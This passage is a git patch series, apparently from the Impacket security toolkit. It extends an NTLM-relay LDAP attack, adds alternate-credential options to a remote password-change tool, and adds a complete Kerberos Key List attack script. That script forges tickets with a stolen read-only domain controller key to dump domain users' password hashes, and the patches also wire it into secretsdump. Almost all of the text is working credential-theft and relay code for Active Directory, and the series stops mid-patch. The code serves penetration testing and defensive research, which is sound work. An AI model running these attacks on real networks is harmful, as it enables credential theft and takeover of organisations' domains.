From 4e64bb0aca9f413385dcd49c267d08c31ba3d493 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Wed, 21 Apr 2021 13:38:52 +0200 Subject: [PATCH 01/44] User-defined password for LDAP attack addComputer - users can now define a custom password for the LDAP attack addComputer - edited the random generation of passwords for addComputer and addUser in order to remove some inconvenient special chars like quotes --- examples/ntlmrelayx.py | 2 +- .../examples/ntlmrelayx/attacks/ldapattack.py | 17 +++++++++++------ 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 148bd30686..ea9c0cb4b9 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -302,7 +302,7 @@ def stop_servers(threads): ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') - ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') + ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 6dc94c0fb0..e6c62c8286 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -109,7 +109,8 @@ class LDAPAttack(ProtocolAttack): GENERIC_ALL = 0x000F01FF def __init__(self, config, LDAPClient, username): - self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer + self.computerName = '' if not config.addcomputer else config.addcomputer[0] + self.computerPassword = '' if not config.addcomputer or len(config.addcomputer) < 2 else config.addcomputer[1] ProtocolAttack.__init__(self, config, LDAPClient, username) if self.config.interactive: # Launch locally listening interactive shell. @@ -125,9 +126,6 @@ def addComputer(self, parent, domainDumper): LOG.error('New computer already added. Refusing to add another') return - # Random password - newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) - # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] @@ -139,6 +137,13 @@ def addComputer(self, parent, domainDumper): else: newComputer = computerName if computerName.endswith('$') else computerName + '$' + computerPassword = self.computerPassword + if not computerPassword: + # Random password + newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15)) + else: + newPassword = computerPassword + computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') @@ -183,7 +188,7 @@ def addUser(self, parent, domainDumper): return # Random password - newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15)) # Random username newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) @@ -635,7 +640,7 @@ def run(self): LOG.info("Attempting to dump LAPS passwords") success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd']) - + if success: fd = None From a28a7f86ae6b14fec3da59ebe3e1a6b0b7236d2f Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Sun, 26 Sep 2021 22:40:57 +0300 Subject: [PATCH 02/44] Add alternative credentials options --- examples/smbpasswd.py | 47 ++++++++++++++++++++++++++++++++++++------- 1 file changed, 40 insertions(+), 7 deletions(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index d595021581..412be8e0a3 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -19,6 +19,7 @@ # smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser administrator -altpass 'Adm1nPassw0rd!' # # Author: # @snovvcrash @@ -26,6 +27,7 @@ # # References: # https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html +# https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/ # https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c # https://github.com/SecureAuthCorp/impacket/pull/381 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 @@ -45,7 +47,8 @@ class SMBPasswd: - def __init__(self, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, hostname): + def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''): + self.address = address self.domain = domain self.username = username self.oldPassword = oldPassword @@ -54,13 +57,15 @@ def __init__(self, domain, username, oldPassword, newPassword, oldPwdHashLM, old self.oldPwdHashNT = oldPwdHashNT self.newPwdHashLM = newPwdHashLM self.newPwdHashNT = newPwdHashNT - self.hostname = hostname self.dce = None - def connect(self, anonymous=False): - rpctransport = transport.SMBTransport(self.hostname, filename=r'\samr') + def connect(self, username='', password='', nthash='', anonymous=False): + rpctransport = transport.SMBTransport(self.address, filename=r'\samr') if anonymous: rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') + elif username != '': + lmhash = '' + rpctransport.set_credentials(username, password, self.domain, lmhash, nthash, aesKey='') else: rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') @@ -84,7 +89,7 @@ def hSamrUnicodeChangePasswordUser2(self): resp.dump() def hSamrChangePasswordUser(self): - serverHandle = samr.hSamrConnect(self.dce, self.hostname + '\x00')['ServerHandle'] + serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] @@ -121,13 +126,20 @@ def parse_args(): parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON') + group = parser.add_mutually_exclusive_group() group.add_argument('-newpass', action='store', default=None, help='new SMB password') group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH ' '(the user will be asked to change their password at next logon)') + group = parser.add_argument_group('authentication') group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + group = parser.add_argument_group('RPC authentication') + group.add_argument('-altuser', action='store', default=None, help='alternative username') + group.add_argument('-altpass', action='store', default=None, help='alternative password') + group.add_argument('-althash', action='store', default=None, help='alternative NT hash') + return parser.parse_args() @@ -173,10 +185,31 @@ def parse_args(): else: newPassword = options.newpass - smbpasswd = SMBPasswd(domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, address) + smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT) + + if options.altuser is not None: + altUsername = options.altuser + if options.altpass is not None and options.althash is None: + altPassword = options.altpass + altNTHash = '' + elif options.altpass is None and options.althash is not None: + altPassword = '' + altNTHash = options.althash + elif options.altpass is None and options.althash is None: + logging.critical('Please, provide either alternative password or NT hash for RPC authentication.') + sys.exit(1) + else: # if options.altpass is not None and options.althash is not None + logging.critical('Argument -altpass not allowed with argument -altNTHash.') + sys.exit(1) + else: + altUsername = '' try: - smbpasswd.connect() + if altUsername == '': + smbpasswd.connect() + else: + logging.debug(f'Using {altUsername} credetials to connect to RPC.') + smbpasswd.connect(altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): if newPassword: From 84a73dc038f098b8fff2ebb5f8309e9399561272 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Mon, 27 Sep 2021 23:38:48 +0300 Subject: [PATCH 03/44] Remove f-strings for Python 2 support --- examples/smbpasswd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index 412be8e0a3..02ab095717 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -208,7 +208,7 @@ def parse_args(): if altUsername == '': smbpasswd.connect() else: - logging.debug(f'Using {altUsername} credetials to connect to RPC.') + logging.debug('Using {} credetials to connect to RPC.'.format(altUsername)) smbpasswd.connect(altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): From 70d77f6669d5bea7f422d552658ccbdcd68c65d4 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Tue, 28 Sep 2021 21:18:46 +0300 Subject: [PATCH 04/44] Edit option name --- examples/smbpasswd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index 02ab095717..c2058d9b2c 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -199,7 +199,7 @@ def parse_args(): logging.critical('Please, provide either alternative password or NT hash for RPC authentication.') sys.exit(1) else: # if options.altpass is not None and options.althash is not None - logging.critical('Argument -altpass not allowed with argument -altNTHash.') + logging.critical('Argument -altpass not allowed with argument -althash.') sys.exit(1) else: altUsername = '' From 14e2ef47cff6b07239a19e7e3e91405b6ec8fa02 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Tue, 28 Sep 2021 22:42:04 +0300 Subject: [PATCH 05/44] Process target domain and alt domain separately --- examples/smbpasswd.py | 33 +++++++++++++++++++++++---------- 1 file changed, 23 insertions(+), 10 deletions(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index c2058d9b2c..3d226e47e0 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -19,7 +19,8 @@ # smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser administrator -altpass 'Adm1nPassw0rd!' +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!' +# smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab # # Author: # @snovvcrash @@ -59,13 +60,13 @@ def __init__(self, address, domain='', username='', oldPassword='', newPassword= self.newPwdHashNT = newPwdHashNT self.dce = None - def connect(self, username='', password='', nthash='', anonymous=False): + def connect(self, domain='', username='', password='', nthash='', anonymous=False): rpctransport = transport.SMBTransport(self.address, filename=r'\samr') if anonymous: rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') elif username != '': lmhash = '' - rpctransport.set_credentials(username, password, self.domain, lmhash, nthash, aesKey='') + rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='') else: rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') @@ -89,11 +90,18 @@ def hSamrUnicodeChangePasswordUser2(self): resp.dump() def hSamrChangePasswordUser(self): - serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] - domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] - domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] - userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] - userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + try: + serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle'] + domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] + domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] + userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] + userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + except Exception as e: + if 'STATUS_NO_SUCH_DOMAIN' in str(e): + logging.critical('Wrong realm. Try to set the domain name explicitly for the target user in format DOMAIN/username.') + return + else: + raise e try: resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT, @@ -188,7 +196,12 @@ def parse_args(): smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT) if options.altuser is not None: - altUsername = options.altuser + try: + altDomain, altUsername = options.altuser.split('/') + except ValueError: + altDomain = domain + altUsername = options.altuser + if options.altpass is not None and options.althash is None: altPassword = options.altpass altNTHash = '' @@ -209,7 +222,7 @@ def parse_args(): smbpasswd.connect() else: logging.debug('Using {} credetials to connect to RPC.'.format(altUsername)) - smbpasswd.connect(altUsername, altPassword, altNTHash) + smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): if newPassword: From 7298b27fd3d0016788e4c1691ce6c75568031eba Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Tue, 28 Sep 2021 22:45:30 +0300 Subject: [PATCH 06/44] Update debug message --- examples/smbpasswd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index 3d226e47e0..a1b57ac957 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -221,7 +221,7 @@ def parse_args(): if altUsername == '': smbpasswd.connect() else: - logging.debug('Using {} credetials to connect to RPC.'.format(altUsername)) + logging.debug('Using {}\\{} credetials to connect to RPC.'.format(altDomain, altUsername)) smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash) except Exception as e: if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): From 8cd1943f6e79f008c4e08b2ca705eff1e3177b8b Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Thu, 30 Sep 2021 01:06:31 +0300 Subject: [PATCH 07/44] Update debug message --- examples/smbpasswd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py index a1b57ac957..8199bc3c11 100755 --- a/examples/smbpasswd.py +++ b/examples/smbpasswd.py @@ -98,7 +98,7 @@ def hSamrChangePasswordUser(self): userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] except Exception as e: if 'STATUS_NO_SUCH_DOMAIN' in str(e): - logging.critical('Wrong realm. Try to set the domain name explicitly for the target user in format DOMAIN/username.') + logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.') return else: raise e From 4039f5c4e1a7dcf3804d0d8e352c3c7bd799b5d4 Mon Sep 17 00:00:00 2001 From: Jonathan Date: Mon, 1 Nov 2021 23:26:15 +0200 Subject: [PATCH 08/44] Fixed entropy parameter handling in dpapi.py/unprotect --- examples/dpapi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dpapi.py b/examples/dpapi.py index bdb6596ea6..de44b7b7ac 100755 --- a/examples/dpapi.py +++ b/examples/dpapi.py @@ -490,7 +490,7 @@ def run(self): entropy = fp2.read() fp2.close() elif self.options.entropy is not None: - entropy = b(self.options.entropy) + b'\x00' + entropy = b(self.options.entropy) else: entropy = None From 91f7bb3a527ef1bdcb418e3efd6890faeb4df9d4 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Thu, 11 Nov 2021 00:17:00 -0300 Subject: [PATCH 09/44] The Kerberos Key List Attack Implementation of a new credential dumping method. This PR includes: - examples/keylistattack.py: A new example with the implementation of the attack. - examples/secretsdump.py: A new option (use-keylist) to dump credentials with the new attack instead of default the DRSUAPI method. - impacket/examples/secretsdump.py: Modifications to the library to support the new attack. --- examples/keylistattack.py | 281 ++++++++++++++++++++++++++++++ examples/secretsdump.py | 156 +++++++++-------- impacket/examples/secretsdump.py | 288 ++++++++++++++++++++++++++++++- 3 files changed, 655 insertions(+), 70 deletions(-) create mode 100644 examples/keylistattack.py diff --git a/examples/keylistattack.py b/examples/keylistattack.py new file mode 100644 index 0000000000..8340530f82 --- /dev/null +++ b/examples/keylistattack.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Performs the KERB-KEY-LIST-REQ attack to dump secrets +# from the remote machine without executing any agent there +# +# If the SMB credentials are supplied, the script starts by +# enumerating the domain users via SAMR. Otherwise, the attack +# is executed against the specified targets. +# +# Examples: +# ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey +# ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey -full +# ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey LIST +# ./keylistdump.py -domain contoso.com -kdc 192.0.0.1 -tf targetfile.txt -rodcNo 20000 -rodcKey LIST +# +# Author: +# Leandro Cuozzo (@0xdeaddood) +# + +import datetime +import logging +import os +import random +import string + +from binascii import unhexlify +from pyasn1.codec.der import encoder, decoder + +from impacket.dcerpc.v5 import samr, transport +from impacket.examples import logger +from impacket.examples.secretsdump import RemoteOperations, KeyListSecrets +from impacket.examples.utils import parse_target +from impacket.krb5 import constants +from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \ + seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP +from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes +from impacket.krb5.crypto import Key, _enctype_table +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.types import KerberosTime, Principal, Ticket +from impacket.smbconnection import SMBConnection +from impacket import version + +try: + rand = random.SystemRandom() +except NotImplementedError: + rand = random + pass + + +class KeyListDump: + def __init__(self, remoteName, username, password, domain, options, enum, targets): + self.__domain = domain + self.__username = username + self.__password = password + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__aesKeyRodc = options.rodcKey + self.__remoteName = remoteName + self.__remoteHost = options.target_ip + self.__kdcHost = options.dc_ip + self.__rodc = options.rodcNo + # self.__kvno = 1 + self.__enum = enum + self.__targets = targets + self.__full = options.full + self.__smbConnection = None + self.__remoteOps = None + self.__keyListSecrets = None + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + else: + self.__lmhash = '' + self.__nthash = '' + + def connect(self): + try: + self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash) + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + def run(self): + if self.__enum is True: + self.connect() + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps.connectSamr(self.__domain) + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__remoteOps) + logging.info('Enumerating target users. This may take a while on large domains') + if self.__full is True: + targetList = self.getAllDomainUsers() + else: + targetList = self.__keyListSecrets.getAllowedUsersToReplicate() + else: + logging.info('Using target users provided by parameter') + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, None) + targetList = self.__targets + + logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') + logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!') + for targetUser in targetList: + user = targetUser.split(":")[0] + targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName) + fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey) + if fullTGT is not None: + key = self.__keyListSecrets.getKey(fullTGT, sessionKey) + print(self.__domain + "\\" + targetUser + ":" + key[2:]) + + def getAllDomainUsers(self): + resp = self.__remoteOps.getDomainUsers() + # Users not allowed to replicate passwords by default + deniedUsers = [500, 501, 502, 503] + targetList = [] + for user in resp['Buffer']['Buffer']: + if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user['Name']: + targetList.append(user['Name'] + ":" + str(user['RelativeId'])) + + return targetList + + +if __name__ == '__main__': + import argparse + import sys + + try: + import pyasn1 + from pyasn1.type.univ import noValue, SequenceOf, Integer + except ImportError: + print('This module needs pyasn1 installed') + sys.exit(1) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Performs the KERB-KEY-LIST-REQ attack to dump " + "secrets from the remote machine without executing any agent there.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@] (Use this credential ' + 'to authenticate to SMB and list domain users (low-privilege account) or LIST' + ' (if you want to parse a target file) ') + parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account') + parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller') + parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. ' + 'Noisy! It could lead to more TGS requests being rejected') + parser.add_argument('-domain', action='store', help='Domain of the target user/s (only works with LIST)') + parser.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') + parser.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') + parser.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB ' + 'and list domain users.') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos to authenticate to SMB and list domain users. Grabs ' + 'credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot ' + 'be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.rodcNo is None: + logging.error("You must specify the RODC number (krbtgt_XXXXX)") + sys.exit(1) + + if options.rodcKey is None: + logging.error("You must specify the RODC aes key") + sys.exit(1) + + domain, username, password, remoteName = parse_target(options.target) + + if remoteName == '': + logging.error("You must specify the KDC hostname or IP") + sys.exit(1) + + if options.target_ip is None: + options.target_ip = remoteName + + if remoteName == 'LIST': + targets = [] + if options.full is True: + logging.warning("Flag -full will have no effect") + if options.t is not None: + targets.append(options.t) + elif options.tf is not None: + try: + with open(options.tf, 'r') as f: + for line in f: + target = line.strip() + if target != '' and target[0] != '#': + targets.append(target + ":" + "N/A") + except IOError as error: + logging.error("Could not open file: %s - %s", options.tf, str(error)) + sys.exit(1) + if len(targets) == 0: + logging.error("No valid targets specified!") + sys.exit(1) + else: + logging.error("You must specify a target username or targets file") + sys.exit(1) + + if options.kdc is not None: + if '.' in options.kdc: + remoteName, domain = options.kdc.split('.', 1) + else: + remoteName = options.kdc + else: + logging.error("You must specify the KDC HostName or FQDN") + sys.exit(1) + + if options.domain is not None: + domain = options.domain + + if domain == '': + logging.error("You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc") + sys.exit(1) + + keylistdumper = KeyListDump(remoteName, username, password, domain, options, False, targets) + else: + if '@' not in options.target: + logging.error("You must specify the KDC HostName or IP Address") + sys.exit(1) + if domain == '': + logging.error("You must specify a target domain") + sys.exit(1) + if username == '': + logging.error("You must specify a username") + sys.exit(1) + if password == '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + keylistdumper = KeyListDump(remoteName, username, password, domain, options, True, targets=[]) + + try: + keylistdumper.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.error(e) \ No newline at end of file diff --git a/examples/secretsdump.py b/examples/secretsdump.py index f94c1ef3bc..81179b01c8 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -61,7 +61,8 @@ from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection -from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes +from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ + KeyListSecrets from impacket.krb5.keytab import Keytab try: input = raw_input @@ -71,6 +72,7 @@ class DumpSecrets: def __init__(self, remoteName, username='', password='', domain='', options=None): self.__useVSSMethod = options.use_vss + self.__useKeyListMethod = options.use_keylist self.__remoteName = remoteName self.__remoteHost = options.target_ip self.__username = username @@ -84,6 +86,8 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__SAMHashes = None self.__NTDSHashes = None self.__LSASecrets = None + self.__KeyListSecrets = None + self.__rodc = options.rodcNo self.__systemHive = options.system self.__bootkey = options.bootkey self.__securityHive = options.security @@ -148,9 +152,9 @@ def dump(self): self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) - if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: + if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() - bootKey = self.__remoteOps.getBootKey() + bootKey = self.__remoteOps.getBootKey() # Let's check whether target system stores LM Hashes self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: @@ -161,78 +165,86 @@ def dump(self): # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: - logging.error('RemoteOperations failed: %s' % str(e)) + logging.debug('RemoteOperations failed: %s' % str(e)) - # If RemoteOperations succeeded, then we can extract SAM and LSA - if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ + if self.__useKeyListMethod is True: try: - if self.__isRemote is True: - SAMFileName = self.__remoteOps.saveSAM() - else: - SAMFileName = self.__samHive - - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) - self.__SAMHashes.dump() - if self.__outputFileName is not None: - self.__SAMHashes.export(self.__outputFileName) + self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__remoteOps) + self.__KeyListSecrets.dump() except Exception as e: - logging.error('SAM hashes extraction failed: %s' % str(e)) + logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) + else: + # If RemoteOperations succeeded, then we can extract SAM and LSA + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + try: + if self.__isRemote is True: + SAMFileName = self.__remoteOps.saveSAM() + else: + SAMFileName = self.__samHive - try: - if 